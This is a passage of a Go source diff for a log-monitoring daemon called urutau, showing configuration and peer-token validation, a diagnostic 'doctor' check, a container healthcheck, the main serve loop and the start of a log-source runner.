if c.PeerToken, err = Secret("URUTAU_PEER_TOKEN"); err != nil {
|
||||
return c, err
|
||||
}
|
||||
}
|
||||
var err error
|
||||
if c.PeerTokenFor, err = perPeerTokens(); err != nil {
|
||||
return c, err
|
||||
}
|
||||
// Only the server token opens the local export. URUTAU_PEER_TOKEN_<NAME>
|
||||
// are client credentials sent to that peer: a compromised peer learns
|
||||
// them, so they must never open this instance's export.
|
||||
if c.PeerToken != "" {
|
||||
c.PeerTokens = append(c.PeerTokens, c.PeerToken)
|
||||
}
|
||||
if len(c.Peers) == 0 {
|
||||
for _, p := range strings.Split(os.Getenv("URUTAU_PEERS"), ",") {
|
||||
if p = strings.TrimSpace(p); p != "" {
|
||||
c.Peers = append(c.Peers, p)
|
||||
}
|
||||
}
|
||||
}
|
||||
if c.GeoDir == "" {
|
||||
c.GeoDir = filepath.Join(c.DataDir, "geo")
|
||||
}
|
||||
if c.Name == "" {
|
||||
c.Name = "urutau"
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
|
||||
// Validate checks the configuration and returns the parsed peers.
|
||||
func (c Config) Validate(token string) ([]fed.Peer, error) {
|
||||
var peers []fed.Peer
|
||||
seen := map[string]bool{}
|
||||
envSeen := map[string]string{}
|
||||
for _, s := range c.Peers {
|
||||
p, err := fed.ParsePeer(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if seen[p.Name] || p.Name == c.Name || p.Name == "all" {
|
||||
return nil, fmt.Errorf("peer name %q is duplicated or reserved", p.Name)
|
||||
}
|
||||
if other, dup := envSeen[tokenEnvName(p.Name)]; dup {
|
||||
return nil, fmt.Errorf("peer names %q and %q share the token variable URUTAU_PEER_TOKEN_%s", other, p.Name, tokenEnvName(p.Name))
|
||||
}
|
||||
envSeen[tokenEnvName(p.Name)] = p.Name
|
||||
seen[p.Name] = true
|
||||
peers = append(peers, p)
|
||||
}
|
||||
if _, err := core.ParseCIDRs(c.Ignore + "," + c.Trusted); err != nil {
|
||||
return nil, fmt.Errorf("--ignore/--trusted: %w", err)
|
||||
}
|
||||
if c.MonitorUA != "" {
|
||||
if _, err := regexp.Compile(c.MonitorUA); err != nil {
|
||||
return nil, fmt.Errorf("--monitor-ua: %w", err)
|
||||
}
|
||||
}
|
||||
if c.Retention < time.Hour {
|
||||
return nil, fmt.Errorf("--retention must be at least 1h")
|
||||
}
|
||||
if c.NoAuth {
|
||||
if !loopbackBind(c.Bind) {
|
||||
return nil, fmt.Errorf("--insecure-no-auth is only allowed on a loopback bind (got %q)", c.Bind)
|
||||
}
|
||||
} else if err := checkToken("URUTAU_TOKEN", token); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
all := append([]string(nil), c.PeerTokens...)
|
||||
if c.PeerToken != "" && !contains(all, c.PeerToken) {
|
||||
all = append(all, c.PeerToken)
|
||||
}
|
||||
for _, t := range c.PeerTokenFor {
|
||||
all = append(all, t)
|
||||
}
|
||||
for _, t := range all {
|
||||
if err := checkToken("URUTAU_PEER_TOKEN", t); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if t == token {
|
||||
return nil, fmt.Errorf("a peer token must differ from URUTAU_TOKEN")
|
||||
}
|
||||
}
|
||||
for i := range peers {
|
||||
peers[i].Token = c.PeerTokenFor[tokenEnvName(peers[i].Name)]
|
||||
if peers[i].Token == "" && c.PeerToken == "" {
|
||||
return nil, fmt.Errorf("peer %q has no token: set URUTAU_PEER_TOKEN or URUTAU_PEER_TOKEN_%s", peers[i].Name, tokenEnvName(peers[i].Name))
|
||||
}
|
||||
}
|
||||
for _, l := range []struct{ name, v string }{{"--peer-allow", c.PeerAllow}, {"--trusted-proxy", c.TrustedProxy}, {"--monitor-from", c.MonitorFrom}} {
|
||||
if _, err := core.ParseCIDRs(l.v); err != nil {
|
||||
return nil, fmt.Errorf("%s: %w", l.name, err)
|
||||
}
|
||||
}
|
||||
return peers, nil
|
||||
}
|
||||
|
||||
func loopbackBind(bind string) bool {
|
||||
host, _, err := net.SplitHostPort(bind)
|
||||
if err != nil || host == "" {
|
||||
return false
|
||||
}
|
||||
if host == "localhost" {
|
||||
return true
|
||||
}
|
||||
ip := net.ParseIP(host)
|
||||
return ip != nil && ip.IsLoopback()
|
||||
}
|
||||
|
||||
// checkToken enforces a minimum quality on secrets: long, with enough
|
||||
// estimated entropy, not periodic ("abcd...abcd") and not a plain run
|
||||
// ("0123456789..."). Random hex or base64 output always passes.
|
||||
func checkToken(name, t string) error {
|
||||
const hint = " (generate one with: openssl rand -base64 48)"
|
||||
if len(t) < MinTokenLen {
|
||||
return fmt.Errorf("%s must have at least %d characters%s", name, MinTokenLen, hint)
|
||||
}
|
||||
if tokenEntropyBits(t) < MinTokenBits {
|
||||
return fmt.Errorf("%s is too predictable: estimated entropy below %d bits%s", name, MinTokenBits, hint)
|
||||
}
|
||||
if periodic(t) || sequential(t) {
|
||||
return fmt.Errorf("%s is a repeated or sequential pattern%s", name, hint)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// MinTokenBits is the minimum estimated entropy of a token.
|
||||
const MinTokenBits = 128
|
||||
|
||||
// tokenEntropyBits estimates entropy as length times the Shannon entropy of
|
||||
// the token's own character distribution. 64 hex characters give ~250 bits;
|
||||
// "aaaa..." gives 0.
|
||||
func tokenEntropyBits(t string) float64 {
|
||||
freq := map[rune]int{}
|
||||
n := 0
|
||||
for _, r := range t {
|
||||
freq[r]++
|
||||
n++
|
||||
}
|
||||
h := 0.0
|
||||
for _, c := range freq {
|
||||
p := float64(c) / float64(n)
|
||||
h -= p * math.Log2(p)
|
||||
}
|
||||
return h * float64(n)
|
||||
}
|
||||
|
||||
// periodic reports whether t is a block repeated (the last copy may be cut).
|
||||
func periodic(t string) bool {
|
||||
for p := 1; p <= len(t)/2; p++ {
|
||||
ok := true
|
||||
for i := p; i < len(t); i++ {
|
||||
if t[i] != t[i-p] {
|
||||
ok = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if ok {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// sequential reports whether most consecutive bytes differ by +1 or -1
|
||||
// ("0123456789abcdef...", "zyxw...").
|
||||
func sequential(t string) bool {
|
||||
run := 0
|
||||
for i := 1; i < len(t); i++ {
|
||||
if d := int(t[i]) - int(t[i-1]); d == 1 || d == -1 {
|
||||
run++
|
||||
}
|
||||
}
|
||||
return run*4 >= (len(t)-1)*3
|
||||
}
|
||||
|
||||
func contains(l []string, v string) bool {
|
||||
for _, x := range l {
|
||||
if x == v {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Secret reads NAME, or the file named by NAME_FILE (whitespace trimmed).
|
||||
func Secret(name string) (string, error) {
|
||||
if v := os.Getenv(name); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
if f := os.Getenv(name + "_FILE"); f != "" {
|
||||
b, err := os.ReadFile(f)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("%s_FILE: %w", name, err)
|
||||
}
|
||||
return strings.TrimSpace(string(b)), nil
|
||||
}
|
||||
return "", nil
|
||||
}
|
||||
|
||||
// tokenEnvName turns a peer name into its environment suffix: "hostinger" ->
|
||||
// "HOSTINGER", "my-peer" -> "MY_PEER".
|
||||
func tokenEnvName(name string) string {
|
||||
return strings.Map(func(r rune) rune {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z':
|
||||
return r - 32
|
||||
case r >= 'A' && r <= 'Z', r >= '0' && r <= '9':
|
||||
return r
|
||||
}
|
||||
return '_'
|
||||
}, name)
|
||||
}
|
||||
|
||||
// perPeerTokens collects URUTAU_PEER_TOKEN_<NAME> and URUTAU_PEER_TOKEN_<NAME>_FILE.
|
||||
func perPeerTokens() (map[string]string, error) {
|
||||
const prefix = "URUTAU_PEER_TOKEN_"
|
||||
out := map[string]string{}
|
||||
for _, kv := range os.Environ() {
|
||||
k, v, _ := strings.Cut(kv, "=")
|
||||
if !strings.HasPrefix(k, prefix) || k == prefix+"FILE" || v == "" {
|
||||
continue
|
||||
}
|
||||
name := strings.TrimPrefix(k, prefix)
|
||||
if strings.HasSuffix(name, "_FILE") {
|
||||
b, err := os.ReadFile(v)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%s: %w", k, err)
|
||||
}
|
||||
out[strings.TrimSuffix(name, "_FILE")] = strings.TrimSpace(string(b))
|
||||
continue
|
||||
}
|
||||
if _, set := out[name]; !set {
|
||||
out[name] = v
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// AdminUserList splits --admin-users into names.
|
||||
func (c Config) AdminUserList() []string {
|
||||
var out []string
|
||||
for _, u := range strings.Split(c.AdminUsers, ",") {
|
||||
if u = strings.TrimSpace(u); u != "" {
|
||||
out = append(out, u)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/geo"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// Check is one doctor finding.
|
||||
type Check struct {
|
||||
Name string `json:"name"`
|
||||
Status string `json:"status"` // ok, warn, fail, off
|
||||
Detail string `json:"detail"`
|
||||
}
|
||||
|
||||
// Doctor inspects the configuration and the environment. It returns false when
|
||||
// something that prevents correct operation fails.
|
||||
func Doctor(c Config, w io.Writer, asJSON bool) bool {
|
||||
var checks []Check
|
||||
add := func(name, status, detail string) { checks = append(checks, Check{name, status, detail}) }
|
||||
|
||||
token, terr := Secret("URUTAU_TOKEN")
|
||||
if terr != nil {
|
||||
add("config", "fail", terr.Error())
|
||||
} else if _, err := c.Validate(token); err != nil {
|
||||
add("config", "fail", err.Error())
|
||||
} else {
|
||||
add("config", "ok", "token, peers and bind are valid")
|
||||
}
|
||||
for _, s := range []struct{ name, path string }{{"traefik", c.TraefikLog}, {"ssh", c.AuthLog}, {"fail2ban", c.Fail2banLog}} {
|
||||
if s.path == "" {
|
||||
add("source "+s.name, "off", "disabled")
|
||||
continue
|
||||
}
|
||||
f, err := os.Open(s.path)
|
||||
if err != nil {
|
||||
add("source "+s.name, "warn", err.Error())
|
||||
continue
|
||||
}
|
||||
fi, _ := f.Stat()
|
||||
f.Close()
|
||||
add("source "+s.name, "ok", fmt.Sprintf("%s readable (%d bytes)", s.path, fi.Size()))
|
||||
}
|
||||
if err := os.MkdirAll(c.DataDir, 0o700); err != nil {
|
||||
add("data-dir", "fail", err.Error())
|
||||
} else if f, err := os.CreateTemp(c.DataDir, ".doctor-*"); err != nil {
|
||||
add("data-dir", "fail", err.Error())
|
||||
} else {
|
||||
f.Close()
|
||||
os.Remove(f.Name())
|
||||
add("data-dir", "ok", fmt.Sprintf("%s writable", filepath.Clean(c.DataDir)))
|
||||
}
|
||||
geoInfo := doctorGeo(c, add)
|
||||
stateInfo := doctorState(c, add)
|
||||
ok := true
|
||||
for _, ch := range checks {
|
||||
if ch.Status == "fail" {
|
||||
ok = false
|
||||
}
|
||||
}
|
||||
if asJSON {
|
||||
enc := json.NewEncoder(w)
|
||||
enc.SetIndent("", " ")
|
||||
enc.Encode(map[string]any{"version": Version, "name": c.Name, "ok": ok, "checks": checks, "geo": geoInfo, "state": stateInfo})
|
||||
return ok
|
||||
}
|
||||
fmt.Fprintf(w, "urutau %s (%s)\n", Version, c.Name)
|
||||
for _, ch := range checks {
|
||||
fmt.Fprintf(w, " %-4s %-16s %s\n", ch.Status, ch.Name, ch.Detail)
|
||||
}
|
||||
return ok
|
||||
}
|
||||
|
||||
// doctorGeo reports the state of the geo databases.
|
||||
func doctorGeo(c Config, add func(name, status, detail string)) map[string]any {
|
||||
info := map[string]any{"dir": c.GeoDir, "attribution": Attribution, "update_every": c.GeoUpdate.String()}
|
||||
g, err := geo.Open(c.GeoDir)
|
||||
if err != nil {
|
||||
add("geo", "warn", err.Error())
|
||||
info["error"] = err.Error()
|
||||
return info
|
||||
}
|
||||
defer g.Close()
|
||||
st := g.Status()
|
||||
info["city"], info["asn"] = st.City, st.ASN
|
||||
if st.LastError != "" {
|
||||
info["last_error"] = st.LastError
|
||||
}
|
||||
if !st.LastUpdate.IsZero() {
|
||||
info["last_update"] = st.LastUpdate.Format(time.RFC3339)
|
||||
}
|
||||
switch {
|
||||
case st.City.Loaded && st.ASN.Loaded:
|
||||
add("geo", "ok", fmt.Sprintf("city build %s, asn build %s", st.City.Build.Format("2006-01-02"), st.ASN.Build.Format("2006-01-02")))
|
||||
default:
|
||||
add("geo", "warn", "databases not loaded yet; they are downloaded at start unless --geo-update is 0"+lastErr(st.LastError))
|
||||
}
|
||||
return info
|
||||
}
|
||||
|
||||
func lastErr(e string) string {
|
||||
if e == "" {
|
||||
return ""
|
||||
}
|
||||
return " (last error: " + e + ")"
|
||||
}
|
||||
|
||||
// doctorState reads the snapshot and reports what it holds, traffic included.
|
||||
func doctorState(c Config, add func(name, status, detail string)) map[string]any {
|
||||
path := SnapshotPath(c.DataDir)
|
||||
info := map[string]any{"path": path}
|
||||
fi, err := os.Stat(path)
|
||||
if err != nil {
|
||||
info["exists"] = false
|
||||
add("state", "ok", "no snapshot yet (fresh start)")
|
||||
return info
|
||||
}
|
||||
info["exists"], info["bytes"] = true, fi.Size()
|
||||
st := store.New(store.Config{Name: c.Name, Version: Version, Retention: c.Retention, AdminUsers: c.AdminUserList()})
|
||||
if _, err := st.Load(path); err != nil {
|
||||
info["error"] = err.Error()
|
||||
add("state", "warn", "snapshot unreadable, it will be set aside at start: "+err.Error())
|
||||
return info
|
||||
}
|
||||
tr := st.TrafficSummary("7d", "all")
|
||||
info["ips"], info["traffic_domains"], info["traffic_requests_7d"] = st.IPCount(), len(tr.Domains), tr.Requests
|
||||
add("state", "ok", fmt.Sprintf("%d IPs, %d domains, %d requests in 7 days", st.IPCount(), len(tr.Domains), tr.Requests))
|
||||
return info
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
"strings"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/geo"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/ua"
|
||||
)
|
||||
|
||||
// enricher adapts the geo and ua packages to core.Enricher. geo may be nil
|
||||
// (databases missing): locations are then simply empty.
|
||||
type enricher struct{ g *geo.Resolver }
|
||||
|
||||
func clip(s string, n int) string {
|
||||
s = strings.Map(func(r rune) rune {
|
||||
if r < 0x20 || r == 0x7f {
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, s)
|
||||
if len(s) > n {
|
||||
s = strings.ToValidUTF8(s[:n], "")
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func validCC(cc string) string {
|
||||
if len(cc) != 2 || cc[0] < 'A' || cc[0] > 'Z' || cc[1] < 'A' || cc[1] > 'Z' {
|
||||
return ""
|
||||
}
|
||||
return cc
|
||||
}
|
||||
|
||||
func (e enricher) Geo(ip string) (out core.GeoInfo) {
|
||||
defer func() {
|
||||
if recover() != nil { // a corrupt database must never take the daemon down
|
||||
out = core.GeoInfo{}
|
||||
}
|
||||
}()
|
||||
if e.g == nil {
|
||||
return core.GeoInfo{}
|
||||
}
|
||||
a, err := netip.ParseAddr(ip)
|
||||
if err != nil {
|
||||
return core.GeoInfo{}
|
||||
}
|
||||
i := e.g.Lookup(a)
|
||||
return core.GeoInfo{CC: validCC(i.CountryCode), Country: clip(i.Country, 80), CountryPT: clip(i.CountryPT, 80), Continent: clip(i.Continent, 40),
|
||||
Region: clip(i.Region, 80), City: clip(i.City, 80), Lat: i.Lat, Lon: i.Lon, ASN: i.ASN, ASOrg: clip(i.ASOrg, 120)}
|
||||
}
|
||||
|
||||
func (enricher) UA(raw string) (out core.UAInfo) {
|
||||
defer func() {
|
||||
if recover() != nil {
|
||||
out = core.UAInfo{}
|
||||
}
|
||||
}()
|
||||
i := ua.Parse(raw)
|
||||
return core.UAInfo{Browser: i.Browser, BrowserMajor: i.BrowserMajor, OS: i.OS, Device: i.Device,
|
||||
Bot: i.Bot, BotName: i.BotName, Tool: i.Tool}
|
||||
}
|
||||
|
||||
// geoStatus reports the geo database like a log source in the Sources table.
|
||||
func geoStatus(g *geo.Resolver, dir string) store.SourceStatus {
|
||||
st := store.SourceStatus{Name: "geo", Path: dir, State: "following"}
|
||||
if g == nil {
|
||||
st.State = "waiting"
|
||||
return st
|
||||
}
|
||||
s := g.Status()
|
||||
if !s.City.Loaded || !s.ASN.Loaded {
|
||||
st.State = "waiting"
|
||||
}
|
||||
if s.LastError != "" {
|
||||
st.Error = s.LastError
|
||||
}
|
||||
if !s.LastUpdate.IsZero() {
|
||||
st.LastEvent = s.LastUpdate.Unix()
|
||||
}
|
||||
return st
|
||||
}
|
||||
|
||||
// Attribution is the licence credit the geo data requires.
|
||||
const Attribution = geo.Attribution
|
||||
@@ -0,0 +1,33 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Healthcheck asks the local daemon for /api/health. It is what the container
|
||||
// HEALTHCHECK runs (`urutau healthcheck`), so the image needs no curl.
|
||||
func Healthcheck(c Config) error {
|
||||
host, port, err := net.SplitHostPort(c.Bind)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if host == "" || host == "0.0.0.0" || host == "::" {
|
||||
host = "127.0.0.1"
|
||||
}
|
||||
cl := &http.Client{Timeout: 3 * time.Second, CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}
|
||||
resp, err := cl.Get("http://" + net.JoinHostPort(host, port) + "/api/health")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
b, _ := io.ReadAll(io.LimitReader(resp.Body, 1024))
|
||||
if resp.StatusCode != 200 || !strings.Contains(string(b), `"status":"ok"`) {
|
||||
return fmt.Errorf("unhealthy: HTTP %d", resp.StatusCode)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,161 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"runtime/debug"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/geo"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/rdns"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
)
|
||||
|
||||
// Serve runs the daemon until SIGTERM/SIGINT; it returns nil on a clean stop.
|
||||
func Serve(c Config) error {
|
||||
log := slog.New(slog.NewTextHandler(os.Stderr, nil))
|
||||
token, terr := Secret("URUTAU_TOKEN")
|
||||
if terr != nil {
|
||||
return terr
|
||||
}
|
||||
peers, err := c.Validate(token)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if os.Getenv("GOMEMLIMIT") == "" {
|
||||
debug.SetMemoryLimit(160 << 20)
|
||||
}
|
||||
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGTERM, syscall.SIGINT)
|
||||
defer stop()
|
||||
|
||||
st := store.New(store.Config{Name: c.Name, Version: Version, Retention: c.Retention, AdminUsers: c.AdminUserList()})
|
||||
st.SetDomains(splitList(c.Domains))
|
||||
rd := rdns.New()
|
||||
st.SetRDNS(rd)
|
||||
offsets := LoadState(st, c.DataDir, log)
|
||||
runner, err := NewRunner(c, st, log)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
gr, gerr := geo.Open(c.GeoDir)
|
||||
if gerr != nil {
|
||||
log.Warn("geo databases unavailable, locations disabled until they are downloaded", "dir", c.GeoDir, "err", gerr)
|
||||
gr = nil
|
||||
}
|
||||
en := enricher{g: gr}
|
||||
runner.Enr = en
|
||||
st.SetEnricher(en)
|
||||
st.SetAttribution(Attribution)
|
||||
runner.Extra = func() []store.SourceStatus { return []store.SourceStatus{geoStatus(gr, c.GeoDir)} }
|
||||
var hub *fed.Hub
|
||||
if len(peers) > 0 {
|
||||
hub = fed.NewHub(peers, c.PeerToken)
|
||||
}
|
||||
allow, _ := core.ParseCIDRs(c.PeerAllow)
|
||||
tproxy, _ := core.ParseCIDRs(c.TrustedProxy)
|
||||
ign, _ := core.ParseCIDRs(c.Ignore + "," + c.Trusted)
|
||||
bindHost, _, _ := net.SplitHostPort(c.Bind)
|
||||
h := server.New(server.Options{Token: token, PeerTokens: c.PeerTokens, PeerAllow: allow, TrustedProxy: tproxy, Ignore: ign,
|
||||
AllowHosts: []string{bindHost}, NoAuth: c.NoAuth, Version: Version, Store: st, Hub: hub})
|
||||
ln, err := net.Listen("tcp", c.Bind)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
srv := server.HTTPServer(h, ctx)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
runner.Start(ctx, offsets, &wg)
|
||||
wg.Add(2)
|
||||
go func() { defer wg.Done(); rd.Run(ctx) }()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
save := time.NewTicker(60 * time.Second)
|
||||
prune := time.NewTicker(10 * time.Minute)
|
||||
defer save.Stop()
|
||||
defer prune.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-save.C:
|
||||
if err := runner.Save(); err != nil {
|
||||
log.Warn("snapshot failed", "err", err)
|
||||
}
|
||||
case <-prune.C:
|
||||
if n := st.Prune(); n > 0 {
|
||||
log.Info("pruned old IPs", "n", n)
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
if gr != nil && c.GeoUpdate > 0 {
|
||||
gr.StartUpdater(ctx, c.GeoUpdate, &http.Client{Timeout: 10 * time.Minute})
|
||||
}
|
||||
if hub != nil {
|
||||
wg.Add(1)
|
||||
go func() { defer wg.Done(); hub.Run(ctx) }()
|
||||
}
|
||||
log.Info("urutau started", "version", Version, "name", c.Name, "bind", ln.Addr().String(), "peers", len(peers), "auth", !c.NoAuth)
|
||||
errc := make(chan error, 1)
|
||||
go func() { errc <- srv.Serve(ln) }()
|
||||
select {
|
||||
case err := <-errc:
|
||||
stop()
|
||||
wg.Wait()
|
||||
return err
|
||||
case <-ctx.Done():
|
||||
}
|
||||
log.Info("shutting down")
|
||||
sctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
_ = srv.Shutdown(sctx)
|
||||
wg.Wait()
|
||||
if err := runner.Save(); err != nil {
|
||||
log.Warn("final snapshot failed", "err", err)
|
||||
} else {
|
||||
log.Info("snapshot saved")
|
||||
}
|
||||
if err := <-errc; err != nil && !errors.Is(err, http.ErrServerClosed) {
|
||||
return fmt.Errorf("server: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// LoadState restores the snapshot in dir. A missing file is a fresh start; a
|
||||
// corrupt or truncated one is set aside (.corrupt), logged, and the daemon
|
||||
// starts empty (the sources then backfill from the logs).
|
||||
func LoadState(st *store.Store, dir string, log *slog.Logger) map[string]store.Offset {
|
||||
path := SnapshotPath(dir)
|
||||
offsets, err := st.Load(path)
|
||||
if err != nil {
|
||||
log.Error("snapshot unreadable, starting fresh", "err", err)
|
||||
_ = os.Rename(path, path+".corrupt")
|
||||
return map[string]store.Offset{}
|
||||
}
|
||||
if len(offsets) > 0 {
|
||||
log.Info("snapshot restored", "ips", st.IPCount())
|
||||
}
|
||||
return offsets
|
||||
}
|
||||
|
||||
func splitList(s string) []string {
|
||||
var out []string
|
||||
for _, p := range strings.Split(s, ",") {
|
||||
if p = strings.TrimSpace(p); p != "" {
|
||||
out = append(out, p)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"log/slog"
|
||||
"net/netip"
|
||||
"os"
|
||||
"regexp"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/tail"
|
||||
)
|
||||
|
||||
const maxLine = 64 * 1024
|
||||
|
||||
type source struct {
|
||||
name, path string
|
||||
parse func([]byte) (core.Event, error)
|
||||
|
||||
lines, malformed atomic.Uint64
|
||||
lastEvent atomic.Int64
|
||||
backfilling atomic.Bool
|
||||
fol atomic.Pointer[tail.Follower]
|
||||
}
|
||||
|
||||
func traefikParse(b []byte) (core.Event, error) { return core.ParseTraefik(b) }
|
||||
func authParse(b []byte) (core.Event, error) { return core.ParseAuth(string(b)) }
|
||||
func f2bParse(b []byte) (core.Event, error) { return core.ParseFail2ban(string(b)) }
|
||||
|
||||
func (s *source) status() store.SourceStatus {
|
||||
st := store.SourceStatus{Name: s.name, Path: s.path, Lines: s.lines.Load(), Malformed: s.malformed.Load(),
|
||||
LastEvent: s.lastEvent.Load(), State: "following"}
|
||||
switch f := s.fol.Load(); {
|
||||
case s.backfilling.Load():
|
||||
st.State = "backfill"
|
||||
case f == nil:
|
||||
st.State = "waiting"
|
||||
default:
|
||||
if err := f.Err(); err != nil {
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
st.State = "waiting"
|
||||
} else {
|
||||
st.State = "error"
|
||||
switch {
|
||||
case errors.Is(err, os.ErrPermission):
|
||||
st.Error = "permission denied" // never echo the host path
|
||||
default:
|
||||
st.Error = "read error"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return st
|
||||
}
|
||||
|
||||
// Runner owns the log sources of one instance.
|
||||
type Runner struct {
|
||||
St *store.Store
|
||||
Ignore []netip.Prefix
|
||||
Monitor *regexp.Regexp
|
||||
MonitorFrom []netip.Prefix // when set, monitors are only believed from these networks
|
||||
Enr core.Enricher // optional geo and User-Agent resolver
|
||||
Extra func() []store.SourceStatus
|
||||
Sources []*source
|
||||
DataDir string
|
||||
Log *slog.Logger
|
||||
|
||||
mu sync.Mutex // commit mutex: held while a line is applied and by snapshots
|
||||
}
|
||||
|
||||
// NewRunner builds the runner for the enabled sources.
|
||||
func NewRunner(c Config, st *store.Store, log *slog.Logger) (*Runner, error) {
|
||||
ign, err := core.ParseCIDRs(c.Ignore + "," + c.Trusted)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
r := &Runner{St: st, Ignore: ign, DataDir: c.DataDir, Log: log}
|
||||
if r.MonitorFrom, err = core.ParseCIDRs(c.MonitorFrom); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if c.MonitorUA != "" {
|
||||
if r.Monitor, err = regexp.Compile(c.MonitorUA); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
for _, d := range []struct {
|
||||
name, path string
|
||||
parse func([]byte) (core.Event, error)
|
||||
}{{"traefik", c.TraefikLog, traefikParse}, {"ssh", c.AuthLog, authParse}, {"fail2ban", c.Fail2banLog, f2bParse}} {
|
||||
if d.path != "" {
|
||||
r.Sources = append(r.Sources, &source{name: d.name, path: d.path, parse: d.parse})
|
||||
}
|
||||
}
|
||||
st.SetSources(r.statuses)
|
||||
return r, nil
|
||||
}
|
||||
|
||||
func (r *Runner) statuses() []store.SourceStatus {
|
||||
out := make([]store.SourceStatus, 0, len(r.Sources))
|
||||
for _, s := range r.Sources {
|
||||
out = append(out, s.status())
|
||||
}
|
||||
if r.Extra != nil {
|
||||
out = append(out, r.Extra()...)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// monitorTraffic reports whether the event is benign traffic of a monitor.
|
||||
func (r *Runner) monitorTraffic(ev *core.Event) bool {
|
||||
if r.Monitor == nil || ev.Source != "traefik" || ev.UA == "" || !r.Monitor.MatchString(ev.UA) {
|
||||
return false
|
||||
}
|
||||
if len(r.MonitorFrom) > 0 {
|
||||
a, err := netip.ParseAddr(ev.IP)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
ok := false
|
||||
for _, p := range r.MonitorFrom {
|
||||
ok = ok || p.Contains(a)
|
||||
}
|
||||
if !ok {
|
||||
return false // a monitor User-Agent from a stranger is just a User-Agent
|
||||
}
|
||||
return ev.Cat == core.OK || ev.Cat == core.NotFound
|
||||
}
|
||||
return ev.Cat == core.OK // without --monitor-from only successful hits are filtered
|
||||
}
|
||||
|
||||
func (r *Runner) handle(s *source) func([]byte) {
|
||||
return func(line []byte) {
|
||||
defer func() {
|
||||
// one hostile line must never take a source down
|
||||
if p := recover(); p != nil {
|
||||
s.malformed.Add(1)
|
||||
r.Log.Error("recovered from a panic while handling a line", "source", s.name, "panic", p)
|
||||
}
|
||||
}()
|
||||
if len(line) == 0 {
|
||||
return
|
||||
}
|
||||
s.lines.Add(1)
|
||||
ev, err := s.parse(line)
|
||||
if err != nil {
|
||||
if !errors.Is(err, core.ErrIgnored) {
|
||||
s.malformed.Add(1)
|
||||
}
|
||||
